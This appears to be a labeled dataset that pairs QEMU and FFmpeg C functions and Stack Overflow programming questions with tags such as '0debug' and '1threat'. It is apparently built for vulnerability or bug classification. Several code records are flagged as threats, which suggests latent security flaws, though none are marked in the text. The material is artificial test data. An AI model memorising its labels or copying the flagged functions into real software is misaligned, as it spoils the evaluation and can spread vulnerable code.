static void ppc_hw_interrupt(CPUPPCState *env) { PowerPCCPU *cpu = ppc_env_get_cpu(env); int hdice; #if 0 CPUState *cs = CPU(cpu); qemu_log_mask(CPU_LOG_INT, "%s: %p pending %08x req %08x me %d ee %d\n", __func__, env, env->pending_interrupts, cs->interrupt_request, (int)msr_me, (int)msr_ee); #endif if (env->pending_interrupts & (1 << PPC_INTERRUPT_RESET)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_RESET); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_RESET); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_MCK)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_MCK); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_MCHECK); return; } #if 0 if (env->pending_interrupts & (1 << PPC_INTERRUPT_DEBUG)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_DEBUG); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_DEBUG); return; } #endif if (0) { hdice = env->spr[SPR_LPCR] & 1; } else { hdice = 0; } if ((msr_ee != 0 || msr_hv == 0 || msr_pr != 0) && hdice != 0) { if (env->pending_interrupts & (1 << PPC_INTERRUPT_HDECR)) { powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_HDECR); return; } } if (msr_ce != 0) { if (env->pending_interrupts & (1 << PPC_INTERRUPT_CEXT)) { #if 0 env->pending_interrupts &= ~(1 << PPC_INTERRUPT_CEXT); #endif powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_CRITICAL); return; } } if (msr_ee != 0) { if (env->pending_interrupts & (1 << PPC_INTERRUPT_WDT)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_WDT); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_WDT); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_CDOORBELL)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_CDOORBELL); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_DOORCI); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_FIT)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_FIT); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_FIT); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_PIT)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_PIT); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_PIT); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_DECR)) { if (ppc_decr_clear_on_delivery(env)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_DECR); } powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_DECR); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_EXT)) { #if 0 env->pending_interrupts &= ~(1 << PPC_INTERRUPT_EXT); #endif powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_EXTERNAL); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_DOORBELL)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_DOORBELL); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_DOORI); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_PERFM)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_PERFM); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_PERFM); return; } if (env->pending_interrupts & (1 << PPC_INTERRUPT_THERM)) { env->pending_interrupts &= ~(1 << PPC_INTERRUPT_THERM); powerpc_excp(cpu, env->excp_model, POWERPC_EXCP_THERM); return; } } }
1threat
How do I manage schema/mapping migrations/evolutions in Elasticsearch? : <p><a href="https://flywaydb.org" rel="noreferrer">Flyway</a> is a very convenient schema migration/evolution tool in the RDBMS world. I'm looking for something similar for ES.</p> <p>Even though ES is different from RDBMS and I get that, the whole point of a tool like Flyway is basically doing the same schema changes in <strong>multiple environments</strong> such as 5 developer environments and staging/production environments. Even if I go with the aliasing approach described <a href="https://www.elastic.co/blog/changing-mapping-with-zero-downtime" rel="noreferrer">in a blog post</a>, I still need to do that create-new-index-then-load-data-into-it-then-update-alias cycle in <strong>each</strong> environment. What I'm looking for is an <strong>automated</strong> way of doing that.</p> <p>I can't just ask each developer to run a particular script after they pull a particular commit. Nor do I want to remember to manually run scripts like that in staging and production environments after deploying the latest codebase. Especially when the person doing a deployment is not the one who wrote migration scripts. All that feels so 20 years ago.</p> <p>The problem has been solved multiple times in the RDBMS world. There are multiple mature tools out there. Flyway is just one of them and is my favorite. But I can't find anything similar for ES. I googled half the Web for it. Either my googling skills are very poor or a tool like that doesn't exist.</p> <p>What am I missing? Is there a tool I can't find? Or am I completely misunderstanding something about ES and a tool like that doesn't make sense because of something I don't yet understand?</p>
0debug
Attempting to change the BackColor of a Form by a button that is located on a seperate Form : <p>Title says it all. </p> <p>but this is the code I used </p> <pre><code>Form1 f1 = new Form1(); private void button2_Click(object sender, EventArgs e) { { f1.BackColor = Color.White; } </code></pre> <p>For example, the button is on Form4, and when I click that button, I want the BackColor of Form1 to change to white, but it doesn't.</p>
0debug
static void input_linux_complete(UserCreatable *uc, Error **errp) { InputLinux *il = INPUT_LINUX(uc); uint8_t evtmap, relmap, absmap, keymap[KEY_CNT / 8]; unsigned int i; int rc, ver; if (!il->evdev) { error_setg(errp, "no input device specified"); return; } il->fd = open(il->evdev, O_RDWR); if (il->fd < 0) { error_setg_file_open(errp, errno, il->evdev); return; } qemu_set_nonblock(il->fd); rc = ioctl(il->fd, EVIOCGVERSION, &ver); if (rc < 0) { error_setg(errp, "%s: is not an evdev device", il->evdev); goto err_close; } rc = ioctl(il->fd, EVIOCGBIT(0, sizeof(evtmap)), &evtmap); if (rc < 0) { error_setg(errp, "%s: failed to read event bits", il->evdev); goto err_close; } if (evtmap & (1 << EV_REL)) { relmap = 0; rc = ioctl(il->fd, EVIOCGBIT(EV_REL, sizeof(relmap)), &relmap); if (relmap & (1 << REL_X)) { il->has_rel_x = true; } } if (evtmap & (1 << EV_ABS)) { absmap = 0; rc = ioctl(il->fd, EVIOCGBIT(EV_ABS, sizeof(absmap)), &absmap); if (absmap & (1 << ABS_X)) { il->has_abs_x = true; } } if (evtmap & (1 << EV_KEY)) { memset(keymap, 0, sizeof(keymap)); rc = ioctl(il->fd, EVIOCGBIT(EV_KEY, sizeof(keymap)), keymap); for (i = 0; i < KEY_CNT; i++) { if (keymap[i / 8] & (1 << (i % 8))) { if (linux_is_button(i)) { il->num_btns++; } else { il->num_keys++; } } } } qemu_set_fd_handler(il->fd, input_linux_event, NULL, il); input_linux_toggle_grab(il); QTAILQ_INSERT_TAIL(&inputs, il, next); il->initialized = true; return; err_close: close(il->fd); return; }
1threat
how to distribute a number based on scale table : i would like an algorithm to distribute a number into different classes based on scale table * < $10,000 => 13% * $10,001 - $100,000 => 8% * $100,001 - $1,000,000 => 6% * $1,000,001 - $5,000,000 => 4.9% * $5,000,000 => 3% > if user enters $6,000,000 > > the expected output > > $10,000 * 13% = $1,300 > > $90,000 * 8% = $7,200 > > $900,000 * 6% = $54,000 > > $4,000,000 * 4.9% = $196,000 > > $2,000,000 * 3% = $60,000 > > ------------------------ Total: $ $318,000 > > > if user enters $5,000 > > the expected output > > $10,000 = $5,000 + 13% = $650 > > $90,000 = 0 + 8% = $0 > > $900,000 = 0 + 6% = $0 > > $4,000,000 = 0 + 4.9% = $0 > > $2,000,000 = 0 + 3% = $0 > > --------------------------- Total = $650
0debug
jquery .attr() to replace href value not workign in Safari browser : My code below is designed to append two query string parameters on all the <a href tags on my page. The code works fine in chrome but does not work on Safari. For some reason on Safari browser it is not appending the parameters. Chrome seems to be working fine. Any ideas why chrome and safari would have different results with these jquery functions? From what i have read it may be related to the way i am using $this in the .each loop. Looking forward to your help. $(document).ready(function(){ // function to get query string for given parameter function GetQueryString( field, url ) { var href = url ? url : window.location.href; var reg = new RegExp( '[?&]' + field + '=([^&#]*)', 'i' ); var string = reg.exec(href); return string ? string[1] : null; }; var aid = GetQueryString('affiliate'); // returns 'chicken' var cmp = GetQueryString('campaign'); // returns 'sandwich' var href_param; $('a').each(function() { if ($(this).is('[href*="?"')) { href_param = '&'; } else { href_param = '?'; } var $this=$(this); $this.attr("href",$this.attr("href") + href_param + "affiliate=" + aid + "&campaign=" + cmp); }); });
0debug
static int save_subtitle_set(AVCodecContext *avctx, AVSubtitle *sub, int *got_output) { DVBSubContext *ctx = avctx->priv_data; DVBSubRegionDisplay *display; DVBSubDisplayDefinition *display_def = ctx->display_definition; DVBSubRegion *region; AVSubtitleRect *rect; DVBSubCLUT *clut; uint32_t *clut_table; int i; int offset_x=0, offset_y=0; int ret = 0; if (display_def) { offset_x = display_def->x; offset_y = display_def->y; } if(sub->num_rects) { avpriv_request_sample(ctx, "Different Version of Segment asked Twice"); return AVERROR_PATCHWELCOME; } for (display = ctx->display_list; display; display = display->next) { region = get_region(ctx, display->region_id); if (region && region->dirty) sub->num_rects++; } if(ctx->compute_edt == 0) { sub->end_display_time = ctx->time_out * 1000; *got_output = 1; } else if (ctx->prev_start != AV_NOPTS_VALUE) { sub->end_display_time = av_rescale_q((sub->pts - ctx->prev_start ), AV_TIME_BASE_Q, (AVRational){ 1, 1000 }) - 1; *got_output = 1; } if (sub->num_rects > 0) { sub->rects = av_mallocz_array(sizeof(*sub->rects), sub->num_rects); if (!sub->rects) { ret = AVERROR(ENOMEM); goto fail; } for (i = 0; i < sub->num_rects; i++) { sub->rects[i] = av_mallocz(sizeof(*sub->rects[i])); if (!sub->rects[i]) { ret = AVERROR(ENOMEM); goto fail; } } i = 0; for (display = ctx->display_list; display; display = display->next) { region = get_region(ctx, display->region_id); if (!region) continue; if (!region->dirty) continue; rect = sub->rects[i]; rect->x = display->x_pos + offset_x; rect->y = display->y_pos + offset_y; rect->w = region->width; rect->h = region->height; rect->nb_colors = (1 << region->depth); rect->type = SUBTITLE_BITMAP; rect->linesize[0] = region->width; clut = get_clut(ctx, region->clut); if (!clut) clut = &default_clut; switch (region->depth) { case 2: clut_table = clut->clut4; break; case 8: clut_table = clut->clut256; break; case 4: default: clut_table = clut->clut16; break; } rect->data[1] = av_mallocz(AVPALETTE_SIZE); if (!rect->data[1]) { ret = AVERROR(ENOMEM); goto fail; } memcpy(rect->data[1], clut_table, (1 << region->depth) * sizeof(uint32_t)); rect->data[0] = av_malloc(region->buf_size); if (!rect->data[0]) { ret = AVERROR(ENOMEM); goto fail; } memcpy(rect->data[0], region->pbuf, region->buf_size); if ((clut == &default_clut && ctx->compute_clut == -1) || ctx->compute_clut == 1) compute_default_clut(rect, rect->w, rect->h); #if FF_API_AVPICTURE FF_DISABLE_DEPRECATION_WARNINGS { int j; for (j = 0; j < 4; j++) { rect->pict.data[j] = rect->data[j]; rect->pict.linesize[j] = rect->linesize[j]; } } FF_ENABLE_DEPRECATION_WARNINGS #endif i++; } } return 0; fail: if (sub->rects) { for(i=0; i<sub->num_rects; i++) { rect = sub->rects[i]; if (rect) { av_freep(&rect->data[0]); av_freep(&rect->data[1]); } av_freep(&sub->rects[i]); } av_freep(&sub->rects); } sub->num_rects = 0; return ret; }
1threat
Amazon S3 Bucket Policy Public Access Denied : <p>I'm trying to make my S3 bucket public but when I add the following policy I get Error Access Denied:</p> <pre><code>{ "Version":"2012-10-17", "Statement":[{ "Sid":"AddPerm", "Effect":"Allow", "Principal":"*", "Action":[ "s3:GetObject" ], "Resource":[ "arn:aws:s3:::emergencydatascience.org/*" ] }] } </code></pre>
0debug
Calling async function in main file : <p>I am creating App integrating two systems. Therefore, I am using some requests and async functions. It's no problem to call async function in async function. However, I need to end somehow this chain and call async function in my main file where is App served from. Do you have any idea how to do it? Part of code looks like this </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>async function asyncFunctionINeedToCall() { await childAsyncFunction() } asyncFunctionINeedToCall()</code></pre> </div> </div> </p> <p>Thank you for your answers!!</p>
0debug
How to make an http call every 2 minutes with RXJS? : <p>I have a service that will make a call to my rest service every 2 minutes. On my service I have the following function</p> <pre><code> getNotifications(token: string) { const body = 'xxxxxxxxx=' + token; return this.http.post('/rest/ssss/ddddddd/notificationcount', body, this.options) .map((res) =&gt; res.json()); } </code></pre> <p>On my component I call my service function to call the API.</p> <pre><code>this.notificationService.getNotifications(this.token).subscribe((data) =&gt; { console.log(data); }); </code></pre> <p>I want to make this call every 2 minutes, what is the best way to do this?</p>
0debug
void av_get_channel_layout_string(char *buf, int buf_size, int nb_channels, int64_t channel_layout) { int i; if (nb_channels <= 0) nb_channels = av_get_channel_layout_nb_channels(channel_layout); for (i = 0; channel_layout_map[i].name; i++) if (nb_channels == channel_layout_map[i].nb_channels && channel_layout == channel_layout_map[i].layout) { av_strlcpy(buf, channel_layout_map[i].name, buf_size); return; } snprintf(buf, buf_size, "%d channels", nb_channels); if (channel_layout) { int i, ch; av_strlcat(buf, " (", buf_size); for (i = 0, ch = 0; i < 64; i++) { if ((channel_layout & (1L << i))) { const char *name = get_channel_name(i); if (name) { if (ch > 0) av_strlcat(buf, "|", buf_size); av_strlcat(buf, name, buf_size); } ch++; } } av_strlcat(buf, ")", buf_size); } }
1threat
How to increase DonutProgress/CircleProgress when pressing toggleButton in Android Studio : I am new in android studio and I have this project that is about tutorials. I am creating an app for tutorials and each tutorial has a toggleButton. When the toggleButton is checked(true), the DonutProgress/CircleProgress, in the main menu of the app, should increase/increment its progress and the value in percentage that's inside the donut/circle and vice-versa(when unchecked(false) it will decrease/decrement. What methods in should I use and algorithm for the increase when toggleButton when checked(true)? [Sample of DonutProgress/CircleProgress][1] [1]: https://i.stack.imgur.com/sAC8C.png
0debug
Android: Kotlin with Butterknife : <p>I'm trying to use Kotlin with Butterknife for my Android Application.</p> <p>Here is my build.gradle</p> <pre><code>dependencies { ... compile 'com.jakewharton:butterknife:8.0.1' kapt 'com.jakewharton:butterknife-compiler:8.0.1' } kapt { generateStubs = true } </code></pre> <p>I also has an EditText and I want to show a message using ButterKnife when it is changed:</p> <pre><code>@OnTextChanged(R.id.input) fun test() { toast(1) } </code></pre> <p>However, nothing happens. I put a breakpoint into the function - and it is not even executed.</p> <p>P.S: I have heard about kotterknife, however I have seen an <a href="https://github.com/JetBrains/kotlin-examples/tree/master/gradle/android-butterknife" rel="noreferrer">example</a> with pure Butterknife.</p> <p>What am I doing wrong?</p>
0debug
Why Android Fragment showing incompatible? : <p>I going to add a fragment to an Activity . But its shows following problems . May be it's not compatible .Has there any solution ?</p> <pre><code> media/arifhasnat/1ED0E5663F78E3C1/ AjkerDeal/CustomNavigation/MyApplication/ app/src/main/java/navigationdrawer/arifhasnat /com/androidcustomnavigationdrawer/ MainActivity.java:22: error: incompatible types: FragmentOne cannot be converted to Fragment fragmentTransaction.replace(R.id.frame_one, new FragmentOne()).commit(); </code></pre> <p>Here my code: Its the Main Activity where i called Fragment class </p> <pre><code> package navigationdrawer.arifhasnat.com.androidcustomnavigationdrawer; import android.os.Bundle; import android.support.v4.app.FragmentTransaction; import android.support.v4.widget.DrawerLayout; import android.support.v7.app.AppCompatActivity; import android.widget.ListView; public class MainActivity extends AppCompatActivity { private String[] mNavigationDrawerItemTitles; private DrawerLayout mDrawerLayout; private ListView mDrawerList; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.nav); FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction(); fragmentTransaction.replace(R.id.frame_one, new FragmentOne()).commit(); } } </code></pre> <p>Fragment :</p> <pre><code>package navigationdrawer.arifhasnat.com.androidcustomnavigationdrawer; import android.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; /** * Created by arifhasnat on 1/5/16. */ public class FragmentOne extends Fragment { @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view= inflater.inflate(R.layout.fragment1,container,false); return view; } } </code></pre>
0debug
chrome.runtime.onMessage response with async await : <p>I want to use async await in an onMessage listener:</p> <pre><code>chrome.runtime.onMessage.addListener(async (request, sender, sendResponse) =&gt;{ var key = await getKey(); sendResponse(key); }); </code></pre> <p>However I get undefined when I send a message.</p> <p>From the documentation for chrome.runtime.onMessage.addListener:</p> <blockquote> <p>This function becomes invalid when the event listener returns, unless you return true from the event listener to indicate you wish to send a response asynchronously (this will keep the message channel open to the other end until sendResponse is called).</p> </blockquote> <p>This works when I use a callback.</p> <pre><code>chrome.runtime.onMessage.addListener(async (request, sender, sendResponse) =&gt;{ getKey(key =&gt; { sendResponse(key); }); return true; }); </code></pre> <p>However I would like to leverage the await syntax. But it does not seem to work and still returns undefined:</p> <pre><code>chrome.runtime.onMessage.addListener(async (request, sender, sendResponse) =&gt;{ var key = await getKey(); sendResponse(key); return true; }); </code></pre>
0debug
How to add an ssh key to an GCP instance using terraform? : <p>So I have a terraform script that creates instances in Google Cloud Platform, I want to be able to have my terraform script also add my ssh key to the instances I create so that I can provision them through ssh. Here is my current terraform script.</p> <pre><code>#PROVIDER INFO provider "google" { credentials = "${file("account.json")}" project = "myProject" region = "us-central1" } #MAKING CONSUL SERVERS resource "google_compute_instance" "default" { count = 3 name = "a-consul${count.index}" machine_type = "n1-standard-1" zone = "us-central1-a" disk { image = "ubuntu-1404-trusty-v20160627" } # Local SSD disk disk { type = "local-ssd" scratch = true } network_interface { network = "myNetwork" access_config {} } } </code></pre> <p>What do I have to add to this to have my terraform script add my ssh key <code>/Users/myUsername/.ssh/id_rsa.pub</code>?</p>
0debug
How to split string with (' ') in jquery : Hello i am trying split string in javascript.How to split string value append with' Mystring='123,234,345' my expected output is like output='123','234','345'
0debug
Key keeps getting replaced in dictionary C++ : <p>I'm trying to create a dictionary type of class for fun in C++, similar to the one seen in Python where you can designate a key and a value (which may be of any type in this case, including custom classes).</p> <pre><code>for (unsigned int x = 0; x &lt; word.length(); x++) { if (!map.has_key(word[x])) { std::cout &lt;&lt; "CREATING " &lt;&lt; word[x] &lt;&lt; std::endl; map[word[x]] = ics::ArraySet&lt;char&gt;(); map[word[x]].insert(word[x]); } for (int y = 0; y &lt; dist; y++) { std::cout &lt;&lt; "HELLO!" &lt;&lt; std::endl; if ((x + y) &lt; word.length()) std::cout &lt;&lt; "ADDING " &lt;&lt; word[x+y] &lt;&lt; std::endl; map[word[x]].insert(word[(x + y)]); if ((x - y) &gt;= 0) map[word[x]].insert(word[(x - y)]); } } </code></pre> <p>The issue that occurs is that my key keeps being replaced. I'm trying to find letters that are within "x" range of the current letter I'm on. I append these nearby keys into a set, which is the value of my dictionary in this scenario.</p> <p>For an example: <strong>nearby(racecar,2)</strong></p> <p>Should return a dictionary with values like this ...</p> <p>dictionary('r' -> {r,a,c}, 'a' -> {r,c,e}, ...)</p> <p>However, what happens is that the </p> <pre><code>if (!map.has_key(word[x])) </code></pre> <p>keeps failing and my keys keep being recreated each and every time along with the sets.</p>
0debug
Android Studio - Check if row exists in table and update it : Unfortunately all the solutions I could find, would not help me with my problem. With a button click I want to add some value to my database table, but first it should check if the row already exists in my table, if so it just should update the row. Here are my Codes: **MAIN ACTIVITY: (Just the Button Click)** incredient= new Incredient(); btnAdd.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { for(int i = 0; i < dataSource.size();i++){ tvname = (TextView) shoppingList.getChildAt(i).findViewById(R.id.tvName); tvamount = (TextView) shoppingList.getChildAt(i).findViewById(R.id.tvAmount); String nameTV = tvname.getText().toString(); String amountTV = tvamount.getText().toString(); incredient.setName(nameTV); incredient.setAmount(amountTV); incredient.setId(i); TableIncredient.getInstance(IncredientShopping.this).checkRow(incredient); } **DATABASE TABLE:** public class TableIncredient extends SQLiteOpenHelper { public static TableZutaten INSTANCE = null; public static final String DB_NAME = "INCREDIENT_TABLE"; public static final int VERSION = 1; public static final String TABLE_NAME = "incredient_table"; public static final String KEY_ID = "ID"; public static final String COL_NAME = "Name"; public static final String COL_AMOUNT = "AMOUNT"; public TableIncredient (Context context) { super(context, DB_NAME, null, VERSION); } @Override public void onCreate(SQLiteDatabase db) { String createQuerry = "CREATE TABLE " + TABLE_NAME + "(" + KEY_ID + " INTEGER PRIMARY KEY, " + COL_NAME + " TEXT NOT NULL, " + COL_AMOUNT + " INTEGER DEFAULT NULL)"; db.execSQL(createQuerry); } public boolean checkRow(Incredient incredient){ SQLiteDatabase db = this.getReadableDatabase(); Cursor c = db.query(TABLE_NAME, new String[]{KEY_ID, COL_NAME, COL_AMOUUNT}, KEY_ID + " =? AND " + COL_NAME + " =? AND " + COL_AMOUNT + " =?" , new String[]{String.valueOf(incredient)}, null, null, null, null); ContentValues values = new ContentValues(); values.put(COL_NAME, incredient.getName()); values.put(COL_AMOUNT, incredient.getAmount()); if (c.moveToFirst()){ increseIncredient(incredient); return true; } else { long newID = db.insert(TABLE_NAME, null, values); db.close(); getIncredient(newID); return false; } } } With this code it always uses the else statement and I do not know why this happens. I hope someone can help me to create a new row if it not exists and update the row if it exists.
0debug
How to split string by \ in c# : <p>I know how to split string. For example.</p> <pre><code> var str = line.Split(',')[1]; </code></pre> <p>Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Müllabfuhr", "Müllabfuhr\Müllabfuhr.csproj", "{1909EBCB-DDDF-469E-9F84-0B0A3B86A861}"</p> <p>String i used to split.</p> <p>I want to do the same but now split at "\" . I treid to just insert "\" instead of ",", but i doesnt seem to work.</p> <p>"C:\Users\lennartf\Desktop\Unbenannt.png"</p>
0debug
size_t iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt, size_t iov_off, void *buf, size_t size) { uint8_t *ptr; size_t iovec_off, buf_off; unsigned int i; ptr = buf; iovec_off = 0; buf_off = 0; for (i = 0; i < iov_cnt && size; i++) { if (iov_off < (iovec_off + iov[i].iov_len)) { size_t len = MIN((iovec_off + iov[i].iov_len) - iov_off , size); memcpy(ptr + buf_off, iov[i].iov_base + (iov_off - iovec_off), len); buf_off += len; iov_off += len; size -= len; } iovec_off += iov[i].iov_len; } return buf_off; }
1threat
How to porperly solve this : Exception in thread "AWT-EventQueue-0" java.lang.ArrayIndexOutOfBoundsException: -1 : I am not sure how to set this properly without getting the error of Exception in thread "AWT-EventQueue-0" java.lang.ArrayIndexOutOfBoundsException: -1 int row=table_1.getSelectedRow(); int column=4; // If I put it here I get the error and won't run at all the if below // String tableRoCol = table_1.getModel().getValueAt(row, column).toString(); if (row==-1 ) { JOptionPane.showMessageDialog(null, "Please select a room to continue!"); } // If I put it here I get the error after it run // String tableRoCol = table_1.getModel().getValueAt(row, column).toString(); String tableRoCol = table_1.getModel().getValueAt(row, column).toString(); if ( tableRoCol.equals("Booked")) { JOptionPane.showMessageDialog(null, "Please select a room that is Free to continue!"); } else { column =3; String tableColRoom = table_1.getModel().getValueAt(row, column).toString(); System.out.println("THE room ID IS :"+tableColRoom); }
0debug
Adding Coordinates into an array from CLLocationManager with Swift 3.0 in Xcode 8 : Ive asked this question previously, however I was not very clear! I am trying to create an array containing only recent location coordinates, which does not span over a certain distance (2000 metres). The array needs to have certain conditions: 1. Not to have any repeated coordinates next to each other within the array i.e the array must not append new coordinates while the user is stopped. 2. The span must be the sum of distances between each coordinate, in the order they are entered into the array. It can not be the single span between the oldest coordinate and the newest coordinate. 3. The old coordinates must be deleted, once the sum of distances exceeds the certain distance (2000 metres). This means the array count will be changing depending on the users average speed, new coordinates will be added constantly and old coordinates deleted conditionally. I have no idea where to start in building this array, so any input would be greatly appreciated. Heres my code calling the location coordinates: import UIKit import MapKit import CoreLocation class View3: UIViewController , CLLocationManagerDelegate{ @IBOutlet weak var map: MKMapView! let manager = CLLocationManager() func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) { let location = locations[0] let span:MKCoordinateSpan = MKCoordinateSpanMake(0.01,0.01) //shows the size of map screen let myLocation:CLLocationCoordinate2D = CLLocationCoordinate2DMake(location.coordinate.latitude,location.coordinate.longitude) let region:MKCoordinateRegion = MKCoordinateRegionMake(myLocation, span) map.setRegion(region, animated: true) self.map.showsUserLocation = true override func viewDidLoad() { super.viewDidLoad() manager.delegate = self manager.desiredAccuracy = kCLLocationAccuracyBest manager.requestWhenInUseAuthorization() manager.startUpdatingLocation() self.map.isZoomEnabled = false self.map.isScrollEnabled = false self.map.isUserInteractionEnabled = false } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. }
0debug
ASP.NET 4.5 in IIS : <p>How I can check which ASP.NET 4.5 install on IIS in C#. How to detect IIS version</p> <p>tanks</p>
0debug
void qemu_send_packet(VLANClientState *vc, const uint8_t *buf, int size) { VLANState *vlan = vc->vlan; VLANPacket *packet; if (vc->link_down) return; #ifdef DEBUG_NET printf("vlan %d send:\n", vlan->id); hex_dump(stdout, buf, size); #endif if (vlan->delivering) { packet = qemu_malloc(sizeof(VLANPacket) + size); packet->next = vlan->send_queue; packet->sender = vc; packet->size = size; memcpy(packet->data, buf, size); vlan->send_queue = packet; } else { vlan->delivering = 1; qemu_deliver_packet(vc, buf, size); while ((packet = vlan->send_queue) != NULL) { qemu_deliver_packet(packet->sender, packet->data, packet->size); vlan->send_queue = packet->next; qemu_free(packet); } vlan->delivering = 0; } }
1threat
Assign a number to signal's name : I am about to use random numbers to choose a signal but can't assign the number to that signal's name. In this code, I have three input ports which their name are: A1B, A2B, A3B, A4B now I want to use them randomly by a rand function between 1 to 4. ```rand = 4, then input A4B selected.``` ```rand = 2, then input A2B selected.``` ```rand = 3, then input A3B selected.``` This is not an array that I use simple ().
0debug
Terraform outputs for resources with count : <p>I have my s3 resource in terraform with configuration:</p> <pre><code>locals { bucket_count = "${length(var.s3_config["bucket_names"])}" } resource "aws_s3_bucket" "s3_bucket" { count = "${local.bucket_count}" bucket = "${format("%s-%s", element(var.s3_config["bucket_names"], count.index), var.region)}" acl = "private" region = "${var.region}" tags { Name = "${format("%s-%s", element(var.s3_config["bucket_names"], count.index), var.region)}" } } </code></pre> <p>and i want to set output variable for all created bucket so i created file names outputs.tf with content</p> <pre><code>output "buckets" { value = "${aws_s3_bucket.s3_bucket.*.bucket}" } output "buckets_arns" { value = "${aws_s3_bucket.s3_bucket.*.arn}" } </code></pre> <p>when i apply configuration its ok i see outputs in terraform.tfstate file but when i call terraform output i see information that is no output or output is empty what i do wrong ?</p>
0debug
Arithmetic operations on float values return unexpected answer : <p>If i print the value of x for : </p> <pre><code>int a=1; int b=6; float x=(a/b); </code></pre> <p>The output is 0.0</p> <p>But if i change the third line to float x = (float)a/(float)b;</p> <p>The output is 0.1666667(which it should be)</p> <p>Why the difference?</p>
0debug
finding first transaction : In a consumer spend data, how to find the first transaction done by customers. For e.g if you have 50 transactions. and you have 10 different customers who have done these 50 transactions. Then how to find the first transaction done by each of these 10 customers? suggestions to do this in SAS or SQL would really help.
0debug
Python + Facebook using selenium : [PHOTO][1] When I logging in Facebook's account (using selenium) appeared this window and code doesn't work after. How to skip this window? [1]: https://i.stack.imgur.com/D6J3P.png
0debug
Please explain how this program works? : I came across this program to convert decimals numbers into their binary equivalent in C. I do not understand what the printf statement does in this program. Program- [enter image description here][1] [1]: https://i.stack.imgur.com/02kFB.jpg
0debug
void aio_bh_update_timeout(AioContext *ctx, uint32_t *timeout) { QEMUBH *bh; for (bh = ctx->first_bh; bh; bh = bh->next) { if (!bh->deleted && bh->scheduled) { if (bh->idle) { *timeout = MIN(10, *timeout); } else { *timeout = 0; break; } } } }
1threat
initialize variable while declaring a function : <p>I saw a code in which an int variable was declared in a function like</p> <pre><code>int func(vector&lt;int&gt; a, int lum=0) {...} </code></pre> <p>I am looking for a idea or logic where anyone can use it..Cause it feels weird. Also tell me if it's right way to code or it was totally foolish of coder?c</p>
0debug
static void apply_dependent_coupling(AACContext * ac, SingleChannelElement * target, ChannelElement * cce, int index) { IndividualChannelStream * ics = &cce->ch[0].ics; const uint16_t * offsets = ics->swb_offset; float * dest = target->coeffs; const float * src = cce->ch[0].coeffs; int g, i, group, k, idx = 0; if(ac->m4ac.object_type == AOT_AAC_LTP) { av_log(ac->avccontext, AV_LOG_ERROR, "Dependent coupling is not supported together with LTP\n"); return; } for (g = 0; g < ics->num_window_groups; g++) { for (i = 0; i < ics->max_sfb; i++, idx++) { if (cce->ch[0].band_type[idx] != ZERO_BT) { for (group = 0; group < ics->group_len[g]; group++) { for (k = offsets[i]; k < offsets[i+1]; k++) { dest[group*128+k] += cce->coup.gain[index][idx] * src[group*128+k]; } } } } dest += ics->group_len[g]*128; src += ics->group_len[g]*128; } }
1threat
static inline void gen_op_arith_add(DisasContext *ctx, TCGv ret, TCGv arg1, TCGv arg2, bool add_ca, bool compute_ca, bool compute_ov, bool compute_rc0) { TCGv t0 = ret; if (((compute_ca && add_ca) || compute_ov) && (TCGV_EQUAL(ret, arg1) || TCGV_EQUAL(ret, arg2))) { t0 = tcg_temp_new(); } if (compute_ca) { TCGv zero = tcg_const_tl(0); if (add_ca) { tcg_gen_add2_tl(t0, cpu_ca, arg1, zero, cpu_ca, zero); tcg_gen_add2_tl(t0, cpu_ca, t0, cpu_ca, arg2, zero); } else { tcg_gen_add2_tl(t0, cpu_ca, arg1, zero, arg2, zero); } tcg_temp_free(zero); } else { tcg_gen_add_tl(t0, arg1, arg2); if (add_ca) { tcg_gen_add_tl(t0, t0, cpu_ca); } } if (compute_ov) { gen_op_arith_compute_ov(ctx, t0, arg1, arg2, 0); } if (unlikely(compute_rc0)) { gen_set_Rc0(ctx, t0); } if (!TCGV_EQUAL(t0, ret)) { tcg_gen_mov_tl(ret, t0); tcg_temp_free(t0); } }
1threat
